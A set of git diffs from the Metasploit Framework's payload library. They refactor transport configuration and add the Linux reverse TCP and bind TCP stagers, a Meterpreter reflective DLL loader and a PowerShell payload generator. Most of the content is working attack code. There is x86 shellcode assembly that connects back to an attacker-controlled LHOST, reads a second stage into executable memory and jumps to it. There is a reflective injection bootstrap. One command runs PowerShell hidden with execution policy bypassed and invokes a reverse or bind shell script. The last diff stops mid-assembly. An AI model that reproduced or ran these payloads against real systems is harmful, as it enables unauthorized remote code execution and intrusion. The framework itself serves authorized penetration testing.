||||
|
@ -324,27 +323,12 @@ protected
|
|||
|
||||
resp['Content-Type'] = 'application/octet-stream'
|
||||
|
||||
blob = obj.stage_payload
|
||||
|
||||
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
|
||||
datastore['HandlerSSLCert'])
|
||||
#
|
||||
# Patch options into the payload
|
||||
#
|
||||
Rex::Payloads::Meterpreter::Patch.patch_passive_service!(blob,
|
||||
:ssl => ssl?,
|
||||
:url => url,
|
||||
:ssl_cert_hash => verify_cert_hash,
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:retry_total => datastore['SessionRetryTotal'].to_i,
|
||||
:retry_wait => datastore['SessionRetryWait'].to_i,
|
||||
:ua => datastore['MeterpreterUserAgent'],
|
||||
:proxy_host => datastore['PayloadProxyHost'],
|
||||
:proxy_port => datastore['PayloadProxyPort'],
|
||||
:proxy_type => datastore['PayloadProxyType'],
|
||||
:proxy_user => datastore['PayloadProxyUser'],
|
||||
:proxy_pass => datastore['PayloadProxyPass'])
|
||||
# generate the stage, but pass in the existing UUID and connection id so that
|
||||
# we don't get new ones generated.
|
||||
blob = obj.stage_payload(
|
||||
uuid: uuid,
|
||||
uri: conn_id
|
||||
)
|
||||
|
||||
resp.body = encode_stage(blob)
|
||||
|
||||
|
|
|
@ -1,75 +0,0 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/parser/x509_certificate'
|
||||
require 'msf/core/payload/uuid_options'
|
||||
|
||||
module Msf
|
||||
|
||||
##
|
||||
#
|
||||
# Helper functionality for handling of stageless http(s) payloads
|
||||
#
|
||||
##
|
||||
|
||||
module Handler::ReverseHttp::Stageless
|
||||
|
||||
include Msf::Payload::Windows::VerifySsl
|
||||
include Msf::Payload::UUIDOptions
|
||||
|
||||
def initialize_stageless
|
||||
register_options([
|
||||
OptString.new('EXTENSIONS', [false, "Comma-separated list of extensions to load"]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def generate_stageless(opts={})
|
||||
unless opts[:generator]
|
||||
raise ArgumentError, "Stageless generation requires a generator argument"
|
||||
end
|
||||
|
||||
if opts[:ssl].nil?
|
||||
raise ArgumentError, "Stageless generation requires an ssl argument"
|
||||
end
|
||||
|
||||
host = datastore['LHOST']
|
||||
host = "[#{host}]" if Rex::Socket.is_ipv6?(host)
|
||||
url = "http#{opts[:ssl] ? "s" : ""}://#{host}:#{datastore['LPORT']}"
|
||||
|
||||
# Use the init_connect mode because we're stageless. This will force
|
||||
# MSF to generate a new URI when the first request is made.
|
||||
url << "#{generate_uri_uuid_mode(:init_connect)}/"
|
||||
|
||||
# invoke the given function to generate the architecture specific payload
|
||||
opts[:generator].call(url) do |dll|
|
||||
|
||||
verify_cert_hash = nil
|
||||
if opts[:ssl]
|
||||
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
|
||||
datastore['HandlerSSLCert'])
|
||||
end
|
||||
|
||||
Rex::Payloads::Meterpreter::Patch.patch_passive_service!(dll,
|
||||
:url => url,
|
||||
:ssl => opts[:ssl],
|
||||
:ssl_cert_hash => verify_cert_hash,
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:retry_total => datastore['SessionRetryTotal'].to_i,
|
||||
:retry_wait => datastore['SessionRetryWait'].to_i,
|
||||
:ua => datastore['MeterpreterUserAgent'],
|
||||
:proxy_host => datastore['PayloadProxyHost'],
|
||||
:proxy_port => datastore['PayloadProxyPort'],
|
||||
:proxy_type => datastore['PayloadProxyType'],
|
||||
:proxy_user => datastore['PayloadProxyUser'],
|
||||
:proxy_pass => datastore['PayloadProxyPass'])
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -57,6 +57,8 @@ class Msf::ModuleSet < Hash
|
|||
# Notify any general subscribers of the creation event
|
||||
if instance
|
||||
self.framework.events.on_module_created(instance)
|
||||
else
|
||||
self.delete(reference_name)
|
||||
end
|
||||
|
||||
return instance
|
||||
|
@ -112,9 +114,7 @@ class Msf::ModuleSet < Hash
|
|||
def each_module_ranked(opts = {}, &block)
|
||||
demand_load_modules
|
||||
|
||||
self.mod_ranked = rank_modules
|
||||
|
||||
each_module_list(mod_ranked, opts, &block)
|
||||
each_module_list(rank_modules, opts, &block)
|
||||
end
|
||||
|
||||
# Forces all modules in this set to be loaded.
|
||||
|
@ -138,7 +138,6 @@ class Msf::ModuleSet < Hash
|
|||
self.architectures_by_module = {}
|
||||
self.platforms_by_module = {}
|
||||
self.mod_sorted = nil
|
||||
self.mod_ranked = nil
|
||||
self.mod_extensions = []
|
||||
|
||||
#
|
||||
|
@ -292,11 +291,6 @@ class Msf::ModuleSet < Hash
|
|||
#
|
||||
# @return [Hash{Class => Array<String>}] Maps module class to Array of platform Strings.
|
||||
attr_accessor :platforms_by_module
|
||||
# @!attribute [rw] mod_ranked
|
||||
# Array of module names and module classes ordered by their Rank with the higher Ranks first.
|
||||
#
|
||||
# @return (see #rank_modules)
|
||||
attr_accessor :mod_ranked
|
||||
# @!attribute [rw] mod_sorted
|
||||
# Array of module names and module classes ordered by their names.
|
||||
#
|
||||
|
@ -315,14 +309,7 @@ class Msf::ModuleSet < Hash
|
|||
# @return [Array<Array<String, Class>>] Array of arrays where the inner array is a pair of the module reference name
|
||||
# and the module class.
|
||||
def rank_modules
|
||||
self.mod_ranked = self.sort { |a_pair, b_pair|
|
||||
a_rank = module_rank(*a_pair)
|
||||
b_rank = module_rank(*b_pair)
|
||||
|
||||
# Compare their relevant rankings. Since we want highest to lowest,
|
||||
# we compare b_rank to a_rank in terms of higher/lower precedence
|
||||
b_rank <=> a_rank
|
||||
}
|
||||
self.sort_by { |pair| module_rank(*pair) }.reverse!
|
||||
end
|
||||
|
||||
# Retrieves the rank from a loaded, not-yet-loaded, or unloadable Metasploit Module.
|
||||
|
|
|
@ -1,6 +1,7 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/transport_config'
|
||||
|
||||
module Msf
|
||||
|
||||
|
@ -14,31 +15,24 @@ module Msf
|
|||
|
||||
module Payload::Linux::BindTcp
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Linux
|
||||
|
||||
def close_listen_socket
|
||||
datastore['StagerCloseListenSocket'].nil? || datastore['StagerCloseListenSocket'] == true
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate
|
||||
|
||||
# Generate the simple version of this stager if we don't have enough space
|
||||
if self.available_space.nil? || required_space > self.available_space
|
||||
return generate_bind_tcp(
|
||||
port: datastore['LPORT'],
|
||||
close_socket: close_listen_socket
|
||||
)
|
||||
end
|
||||
|
||||
conf = {
|
||||
port: datastore['LPORT'],
|
||||
close_socket: close_listen_socket,
|
||||
reliable: true
|
||||
port: datastore['LPORT'],
|
||||
reliable: false
|
||||
}
|
||||
|
||||
# Generate the more advanced stager if we have the space
|
||||
unless self.available_space.nil? || required_space > self.available_space
|
||||
conf[:exitfunk] = datastore['EXITFUNC'],
|
||||
conf[:reliable] = true
|
||||
end
|
||||
|
||||
generate_bind_tcp(conf)
|
||||
end
|
||||
|
||||
|
@ -50,19 +44,20 @@ module Payload::Linux::BindTcp
|
|||
Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
|
||||
end
|
||||
|
||||
def transport_config(opts={})
|
||||
transport_config_bind_tcp(opts)
|
||||
end
|
||||
|
||||
#
|
||||
# Determine the maximum amount of space required for the features requested
|
||||
#
|
||||
def required_space
|
||||
# Start with our cached default generated size
|
||||
space = 104
|
||||
space = cached_size
|
||||
|
||||
# Reliability checks add 4 bytes for the first check, 5 per recv check (2)
|
||||
space += 14
|
||||
|
||||
# Adding 6 bytes to the payload when we include the closing of the listen
|
||||
# socket
|
||||
space += 6 if close_listen_socket
|
||||
# TODO: coming soon
|
||||
#space += 14
|
||||
|
||||
# The final estimated size
|
||||
space
|
||||
|
@ -77,7 +72,6 @@ module Payload::Linux::BindTcp
|
|||
def asm_bind_tcp(opts={})
|
||||
|
||||
#reliable = opts[:reliable]
|
||||
close_socket = opts[:close_socket]
|
||||
encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first
|
||||
|
||||
asm = %Q^
|
||||
|
@ -99,10 +93,7 @@ module Payload::Linux::BindTcp
|
|||
mov ecx,esp
|
||||
mov al,0x66 ; socketcall syscall
|
||||
int 0x80 ; invoke socketcall (SYS_SOCKET)
|
||||
^
|
||||
|
||||
unless close_socket
|
||||
asm << %Q^
|
||||
; set the SO_REUSEADDR flag on the socket
|
||||
push ecx
|
||||
push 4
|
||||
|
@ -119,11 +110,8 @@ module Payload::Linux::BindTcp
|
|||
int 0x80
|
||||
xchg eax,edi ; restore the socket handle
|
||||
add esp, 0x14
|
||||
pop ecx
|
||||
^
|
||||
end
|
||||
pop ecx ; restore ecx
|
||||
|
||||
asm << %Q^
|
||||
pop ebx
|
||||
pop esi
|
||||
push edx
|
||||
|
@ -138,15 +126,8 @@ module Payload::Linux::BindTcp
|
|||
shl ebx,1 ; SYS_LISTEN
|
||||
mov al,0x66 ; socketcall syscall (SYS_LISTEN)
|
||||
int 0x80 ; invoke socketcall
|
||||
^
|
||||
|
||||
if close_socket
|
||||
asm << %Q^
|
||||
push eax ; stash the listen socket
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
inc ebx ; SYS_ACCEPT
|
||||
mov al,0x66 ; socketcall syscall
|
||||
mov [ecx+0x4],edx
|
||||
|
@ -156,16 +137,9 @@ module Payload::Linux::BindTcp
|
|||
mov al,0x3 ; read syscall
|
||||
int 0x80 ; invoke read
|
||||
xchg ebx,edi ; stash the accept socket in edi
|
||||
^
|
||||
if close_socket
|
||||
asm << %Q^
|
||||
pop ebx ; restore the listen socket
|
||||
mov al,0x6 ; close syscall
|
||||
int 0x80 ; invoke close
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
jmp ecx ; jump to the payload
|
||||
^
|
||||
|
||||
|
|
|
@ -0,0 +1,128 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/payload/linux'
|
||||
|
||||
module Msf
|
||||
|
||||
|
||||
###
|
||||
#
|
||||
# Complex reverse TCP payload generation for Linux ARCH_X86
|
||||
#
|
||||
###
|
||||
|
||||
|
||||
module Payload::Linux::ReverseTcp
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Linux
|
||||
|
||||
#
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate
|
||||
conf = {
|
||||
port: datastore['LPORT'],
|
||||
host: datastore['LHOST'],
|
||||
retry_count: datastore['ReverseConnectRetries'],
|
||||
reliable: false
|
||||
}
|
||||
|
||||
# Generate the advanced stager if we have space
|
||||
unless self.available_space.nil? || required_space > self.available_space
|
||||
conf[:exitfunk] = datastore['EXITFUNC']
|
||||
conf[:reliable] = true
|
||||
end
|
||||
|
||||
generate_reverse_tcp(conf)
|
||||
end
|
||||
|
||||
def transport_config(opts={})
|
||||
transport_config_reverse_tcp(opts)
|
||||
end
|
||||
|
||||
#
|
||||
# Generate and compile the stager
|
||||
#
|
||||
def generate_reverse_tcp(opts={})
|
||||
asm = asm_reverse_tcp(opts)
|
||||
buf = Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
|
||||
apply_prepends(buf)
|
||||
end
|
||||
|
||||
#
|
||||
# Determine the maximum amount of space required for the features requested
|
||||
#
|
||||
def required_space
|
||||
# Start with our cached default generated size
|
||||
space = 300
|
||||
|
||||
# Reliability adds 10 bytes for recv error checks
|
||||
space += 10
|
||||
|
||||
# The final estimated size
|
||||
space
|
||||
end
|
||||
|
||||
#
|
||||
# Generate an assembly stub with the configured feature set and options.
|
||||
#
|
||||
# @option opts [Fixnum] :port The port to connect to
|
||||
# @option opts [String] :host The host IP to connect to
|
||||
# @option opts [Bool] :reliable Whether or not to enable error handling code
|
||||
#
|
||||
def asm_reverse_tcp(opts={})
|
||||
# TODO: reliability is coming
|
||||
retry_count = [opts[:retry_count].to_i, 1].max
|
||||
reliable = opts[:reliable]
|
||||
encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first
|
||||
encoded_host = "0x%.8x" % Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first
|
||||
|
||||
asm = %Q^
|
||||
xor ebx, ebx
|
||||
mul ebx
|
||||
push ebx
|
||||
inc ebx
|
||||
push ebx
|
||||
push 0x2
|
||||
mov al, 0x66
|
||||
mov ecx, esp
|
||||
int 0x80 ; sys_socketcall
|
||||
xchg eax, edi
|
||||
pop ebx
|
||||
push #{encoded_host}
|
||||
push #{encoded_port}
|
||||
mov ecx, esp
|
||||
push 0x66
|
||||
pop eax
|
||||
push eax
|
||||
push ecx
|
||||
push edi
|
||||
mov ecx, esp
|
||||
inc ebx
|
||||
int 0x80 ; sys_socketcall
|
||||
mov dl, 0x7
|
||||
mov ecx, 0x1000
|
||||
mov ebx, esp
|
||||
shr ebx, 0xc
|
||||
shl ebx, 0xc
|
||||
mov al, 0x7d
|
||||
int 0x80 ; sys_mprotect
|
||||
pop ebx
|
||||
mov ecx, esp
|
||||
cdq
|
||||
mov dh, 0xc
|
||||
mov al, 0x3
|
||||
int 0x80 ; sys_read
|
||||
jmp ecx
|
||||
^
|
||||
|
||||
asm
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -1,6 +1,7 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'msf/core'
|
||||
require 'msf/core/option_container'
|
||||
require 'msf/core/payload/transport_config'
|
||||
|
||||
###
|
||||
#
|
||||
|
@ -9,6 +10,8 @@ require 'msf/core/option_container'
|
|||
###
|
||||
module Msf::Payload::Stager
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
|
||||
def initialize(info={})
|
||||
super
|
||||
|
||||
|
@ -22,6 +25,28 @@ module Msf::Payload::Stager
|
|||
|
||||
end
|
||||
|
||||
#
|
||||
# Perform attempt at detecting the appropriate transport config.
|
||||
# Call the determined config with passed options.
|
||||
# Override this in stages/stagers to use specific transports
|
||||
#
|
||||
def transport_config(opts={})
|
||||
if self.refname =~ /reverse_/
|
||||
direction = 'reverse'
|
||||
else
|
||||
direction = 'bind'
|
||||
end
|
||||
|
||||
if self.refname =~ /_tcp/
|
||||
proto = 'tcp'
|
||||
elsif self.refname =~ /_https/
|
||||
proto = 'https'
|
||||
else
|
||||
proto = 'http'
|
||||
end
|
||||
send("transport_config_#{direction}_#{proto}", opts)
|
||||
end
|
||||
|
||||
#
|
||||
# Sets the payload type to a stager.
|
||||
#
|
||||
|
|
|
@ -0,0 +1,71 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core/payload/uuid_options'
|
||||
|
||||
##
|
||||
# This module contains helper functions for creating the transport
|
||||
# configuration stubs that are used for Meterpreter payloads.
|
||||
##
|
||||
module Msf::Payload::TransportConfig
|
||||
|
||||
include Msf::Payload::UUIDOptions
|
||||
|
||||
def transport_config_reverse_tcp(opts={})
|
||||
config = transport_config_bind_tcp(opts)
|
||||
config[:lhost] = datastore['LHOST']
|
||||
config
|
||||
end
|
||||
|
||||
def transport_config_reverse_ipv6_tcp(opts={})
|
||||
config = transport_config_reverse_tcp(opts)
|
||||
config[:scheme] = 'tcp6'
|
||||
config[:scope_id] = datastore['SCOPEID']
|
||||
config
|
||||
end
|
||||
|
||||
def transport_config_bind_tcp(opts={})
|
||||
{
|
||||
:scheme => 'tcp',
|
||||
:lhost => datastore['LHOST'],
|
||||
:lport => datastore['LPORT'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:retry_total => datastore['SessionRetryTotal'].to_i,
|
||||
:retry_wait => datastore['SessionRetryWait'].to_i
|
||||
}
|
||||
end
|
||||
|
||||
def transport_config_reverse_https(opts={})
|
||||
config = transport_config_reverse_http(opts)
|
||||
config[:scheme] = 'https'
|
||||
config[:ssl_cert_hash] = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
|
||||
datastore['HandlerSSLCert'])
|
||||
config
|
||||
end
|
||||
|
||||
def transport_config_reverse_http(opts={})
|
||||
# most cases we'll have a URI already, but in case we don't
|
||||
# we should ask for a connect to happen given that this is
|
||||
# going up as part of the stage.
|
||||
uri = opts[:uri]
|
||||
unless uri
|
||||
sum = uri_checksum_lookup(:connect)
|
||||
uri = generate_uri_uuid(sum, opts[:uuid])
|
||||
end
|
||||
|
||||
{
|
||||
:scheme => 'http',
|
||||
:lhost => datastore['LHOST'],
|
||||
:lport => datastore['LPORT'].to_i,
|
||||
:uri => uri,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:retry_total => datastore['SessionRetryTotal'].to_i,
|
||||
:retry_wait => datastore['SessionRetryWait'].to_i,
|
||||
:proxy_host => datastore['PayloadProxyHost'],
|
||||
:proxy_port => datastore['PayloadProxyPort'],
|
||||
:proxy_type => datastore['PayloadProxyType'],
|
||||
:proxy_user => datastore['PayloadProxyUser'],
|
||||
:proxy_pass => datastore['PayloadProxyPass']
|
||||
}
|
||||
end
|
||||
|
||||
end
|
|
@ -24,6 +24,8 @@ module Msf::Payload::Windows
|
|||
require 'msf/core/payload/windows/dllinject'
|
||||
require 'msf/core/payload/windows/exec'
|
||||
require 'msf/core/payload/windows/loadlibrary'
|
||||
require 'msf/core/payload/windows/meterpreter_loader'
|
||||
require 'msf/core/payload/windows/x64/meterpreter_loader'
|
||||
require 'msf/core/payload/windows/reflectivedllinject'
|
||||
require 'msf/core/payload/windows/x64/reflectivedllinject'
|
||||
|
||||
|
@ -32,10 +34,12 @@ module Msf::Payload::Windows
|
|||
#
|
||||
@@exit_types =
|
||||
{
|
||||
nil => 0, # Default to nothing
|
||||
'' => 0, # Default to nothing
|
||||
'seh' => 0xEA320EFE, # SetUnhandledExceptionFilter
|
||||
'thread' => 0x0A2A1DE0, # ExitThread
|
||||
'process' => 0x56A2B5F0, # ExitProcess
|
||||
'none' => 0x5DE2C5AA, # GetLastError
|
||||
'none' => 0x5DE2C5AA # GetLastError
|
||||
}
|
||||
|
||||
#
|
||||
|
|
|
@ -1,6 +1,7 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/payload/windows/block_api'
|
||||
require 'msf/core/payload/windows/exitfunk'
|
||||
|
||||
|
@ -16,37 +17,33 @@ module Msf
|
|||
|
||||
module Payload::Windows::BindTcp
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Windows::BlockApi
|
||||
include Msf::Payload::Windows::Exitfunk
|
||||
|
||||
def close_listen_socket
|
||||
datastore['StagerCloseListenSocket'].nil? || datastore['StagerCloseListenSocket'] == true
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate
|
||||
|
||||
# Generate the simple version of this stager if we don't have enough space
|
||||
if self.available_space.nil? || required_space > self.available_space
|
||||
return generate_bind_tcp(
|
||||
port: datastore['LPORT'].to_i,
|
||||
close_socket: close_listen_socket
|
||||
)
|
||||
end
|
||||
|
||||
conf = {
|
||||
port: datastore['LPORT'].to_i,
|
||||
exitfunk: datastore['EXITFUNC'],
|
||||
close_socket: close_listen_socket,
|
||||
reliable: true
|
||||
port: datastore['LPORT'],
|
||||
reliable: false
|
||||
}
|
||||
|
||||
# Generate the more advanced stager if we have the space
|
||||
unless self.available_space.nil? || required_space > self.available_space
|
||||
conf[:exitfunk] = datastore['EXITFUNC'],
|
||||
conf[:reliable] = true
|
||||
end
|
||||
|
||||
generate_bind_tcp(conf)
|
||||
end
|
||||
|
||||
def transport_config(opts={})
|
||||
transport_config_bind_tcp(opts)
|
||||
end
|
||||
|
||||
#
|
||||
# Generate and compile the stager
|
||||
#
|
||||
|
@ -67,8 +64,7 @@ module Payload::Windows::BindTcp
|
|||
#
|
||||
def required_space
|
||||
# Start with our cached default generated size
|
||||
# TODO: need help with this from the likes of HD.
|
||||
space = 277
|
||||
space = cached_size
|
||||
|
||||
# EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
|
||||
space += 31
|
||||
|
@ -78,11 +74,6 @@ module Payload::Windows::BindTcp
|
|||
# Reliability checks add 4 bytes for the first check, 5 per recv check (2)
|
||||
space += 14
|
||||
|
||||
# if the payload doesn't need the listen socket closed then we save space. This is
|
||||
# the case for meterpreter payloads, as metsrv now closes the listen socket once it
|
||||
# kicks off (needed for more reliable shells).
|
||||
space -= 8 unless close_listen_socket
|
||||
|
||||
# The final estimated size
|
||||
space
|
||||
end
|
||||
|
@ -97,7 +88,6 @@ module Payload::Windows::BindTcp
|
|||
def asm_bind_tcp(opts={})
|
||||
|
||||
reliable = opts[:reliable]
|
||||
close_socket = opts[:close_socket]
|
||||
encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first
|
||||
|
||||
asm = %Q^
|
||||
|
@ -167,22 +157,12 @@ module Payload::Windows::BindTcp
|
|||
push edi ; listening socket
|
||||
push 0xE13BEC74 ; hash( "ws2_32.dll", "accept" )
|
||||
call ebp ; accept( s, 0, 0 );
|
||||
^
|
||||
|
||||
if close_socket
|
||||
asm << %Q^
|
||||
push edi ; push the listening socket to close
|
||||
xchg edi, eax ; replace the listening socket with the new connected socket for further comms
|
||||
push 0x614D6E75 ; hash( "ws2_32.dll", "closesocket" )
|
||||
call ebp ; closesocket( s );
|
||||
^
|
||||
else
|
||||
asm << %Q^
|
||||
xchg edi, eax ; replace the listening socket with the new connected socket for further comms
|
||||
^
|
||||
end
|
||||
push edi ; push the listening socket
|
||||
xchg edi, eax ; replace the listening socket with the new connected socket for further comms
|
||||
push 0x614D6E75 ; hash( "ws2_32.dll", "closesocket" )
|
||||
call ebp ; closesocket( s );
|
||||
|
||||
asm << %Q^
|
||||
recv:
|
||||
; Receive the size of the incoming second stage...
|
||||
push 0 ; flags
|
||||
|
@ -213,7 +193,6 @@ module Payload::Windows::BindTcp
|
|||
; Receive the second stage and execute it...
|
||||
xchg ebx, eax ; ebx = our new memory address for the new stage
|
||||
push ebx ; push the address of the new stage so we can return into it
|
||||
|
||||
read_more: ;
|
||||
push 0 ; flags
|
||||
push esi ; length
|
||||
|
|
|
@ -0,0 +1,98 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/reflective_dll_loader'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Common module stub for ARCH_X86 payloads that make use of Meterpreter.
|
||||
#
|
||||
###
|
||||
|
||||
module Payload::Windows::MeterpreterLoader
|
||||
|
||||
include Msf::ReflectiveDLLLoader
|
||||
include Msf::Payload::Windows
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Meterpreter & Configuration RDI',
|
||||
'Description' => 'Inject Meterpreter & the configuration stub via RDI',
|
||||
'Author' => [ 'sf', 'OJ Reeves' ],
|
||||
'References' => [
|
||||
[ 'URL', 'https://github.com/stephenfewer/ReflectiveDLLInjection' ], # original
|
||||
[ 'URL', 'https://github.com/rapid7/ReflectiveDLLInjection' ] # customisations
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
'PayloadCompat' => { 'Convention' => 'sockedi -https', },
|
||||
'Stage' => { 'Payload' => "" }
|
||||
))
|
||||
end
|
||||
|
||||
def asm_invoke_metsrv(opts={})
|
||||
asm = %Q^
|
||||
; prologue
|
||||
dec ebp ; 'M'
|
||||
pop edx ; 'Z'
|
||||
call $+5 ; call next instruction
|
||||
pop ebx ; get the current location (+7 bytes)
|
||||
push edx ; restore edx
|
||||
inc ebp ; restore ebp
|
||||
push ebp ; save ebp for later
|
||||
mov ebp, esp ; set up a new stack frame
|
||||
; Invoke ReflectiveLoader()
|
||||
; add the offset to ReflectiveLoader() (0x????????)
|
||||
add ebx, #{"0x%.8x" % (opts[:rdi_offset] - 7)}
|
||||
call ebx ; invoke ReflectiveLoader()
|
||||
; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
|
||||
; offset from ReflectiveLoader() to the end of the DLL
|
||||
add ebx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}
|
||||
^
|
||||
|
||||
unless opts[:stageless]
|
||||
asm << %Q^
|
||||
mov [ebx], edi ; write the current socket to the config
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
push ebx ; push the pointer to the configuration start
|
||||
push 4 ; indicate that we have attached
|
||||
push eax ; push some arbitrary value for hInstance
|
||||
call eax ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
|
||||
^
|
||||
end
|
||||
|
||||
def stage_meterpreter(stageless=false)
|
||||
# Exceptions will be thrown by the mixin if there are issues.
|
||||
dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x86.dll'))
|
||||
|
||||
asm_opts = {
|
||||
rdi_offset: offset,
|
||||
length: dll.length,
|
||||
stageless: stageless
|
||||
}
|
||||
|
||||
asm = asm_invoke_metsrv(asm_opts)
|
||||
|
||||
# generate the bootstrap asm
|
||||
bootstrap = Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
|
||||
|
||||
# sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry
|
||||
if bootstrap.length > 62
|
||||
raise RuntimeError, "Meterpreter loader (x86) generated an oversized bootstrap!"
|
||||
end
|
||||
|
||||
# patch the bootstrap code into the dll's DOS header...
|
||||
dll[ 0, bootstrap.length ] = bootstrap
|
||||
|
||||
dll
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -0,0 +1,51 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/windows'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Implements an overarching powershell payload generation module
|
||||
#
|
||||
###
|
||||
|
||||
module Payload::Windows::Powershell
|
||||
|
||||
def generate_powershell_code(conntype)
|
||||
lport = datastore['LPORT']
|
||||
lhost = datastore['LHOST']
|
||||
|
||||
template_path = ::File.join( Msf::Config.data_directory, 'exploits', 'powershell','powerfun.ps1')
|
||||
script_in = ""
|
||||
::File.open(template_path, "rb") do |fd|
|
||||
script_in << fd.read(fd.stat.size)
|
||||
end
|
||||
mods = ''
|
||||
|
||||
if conntype == "Bind"
|
||||
script_in << "\npowerfun -Command bind"
|
||||
elsif conntype == "Reverse"
|
||||
script_in << "\npowerfun -Command reverse -Sslcon true"
|
||||
end
|
||||
|
||||
if datastore['LOAD_MODULES']
|
||||
mods_array = datastore['LOAD_MODULES'].to_s.split(',')
|
||||
mods_array.collect(&:strip)
|
||||
print_status("Loading #{mods_array.count} modules into the interactive PowerShell session")
|
||||
mods_array.each {|m| vprint_good " #{m}"}
|
||||
mods = "\"#{mods_array.join("\",\n\"")}\""
|
||||
script_in << " -Download true\n"
|
||||
end
|
||||
|
||||
script_in.gsub!('MODULES_REPLACE', mods)
|
||||
script_in.gsub!('LPORT_REPLACE', lport.to_s)
|
||||
script_in.gsub!('LHOST_REPLACE', lhost.to_s)
|
||||
|
||||
script = Rex::Powershell::Command.compress_script(script_in)
|
||||
"powershell.exe -exec bypass -nop -W hidden -noninteractive IEX $(#{script})"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -30,11 +30,7 @@ module Payload::Windows::ReflectiveDllInject
|
|||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
'PayloadCompat' => { 'Convention' => 'sockedi -https', },
|
||||
'Stage' =>
|
||||
{
|
||||
'Offsets' => { 'EXITFUNC' => [ 33, 'V' ] },
|
||||
'Payload' => ""
|
||||
}
|
||||
'Stage' => { 'Payload' => "" }
|
||||
))
|
||||
|
||||
register_options( [ OptPath.new( 'DLL', [ true, "The local path to the Reflective DLL to upload" ] ), ], self.class )
|
||||
|
@ -44,65 +40,59 @@ module Payload::Windows::ReflectiveDllInject
|
|||
datastore['DLL']
|
||||
end
|
||||
|
||||
def stage_payload(target_id=nil)
|
||||
def asm_invoke_dll(opts={})
|
||||
asm = %Q^
|
||||
; prologue
|
||||
dec ebp ; 'M'
|
||||
pop edx ; 'Z'
|
||||
call $+5 ; call next instruction
|
||||
pop ebx ; get the current location (+7 bytes)
|
||||
push edx ; restore edx
|
||||
inc ebp ; restore ebp
|
||||
push ebp ; save ebp for later
|
||||
mov ebp, esp ; set up a new stack frame
|
||||
; Invoke ReflectiveLoader()
|
||||
; add the offset to ReflectiveLoader() (0x????????)
|
||||
add ebx, #{"0x%.8x" % (opts[:rdi_offset] - 7)}
|
||||
call ebx ; invoke ReflectiveLoader()
|
||||
; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
|
||||
push edi ; push the socket handle
|
||||
push 4 ; indicate that we have attached
|
||||
push eax ; push some arbitrary value for hInstance
|
||||
mov ebx, eax ; save DllMain for another call
|
||||
call ebx ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, socket)
|
||||
; Invoke DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk)
|
||||
; push the exitfunk value onto the stack
|
||||
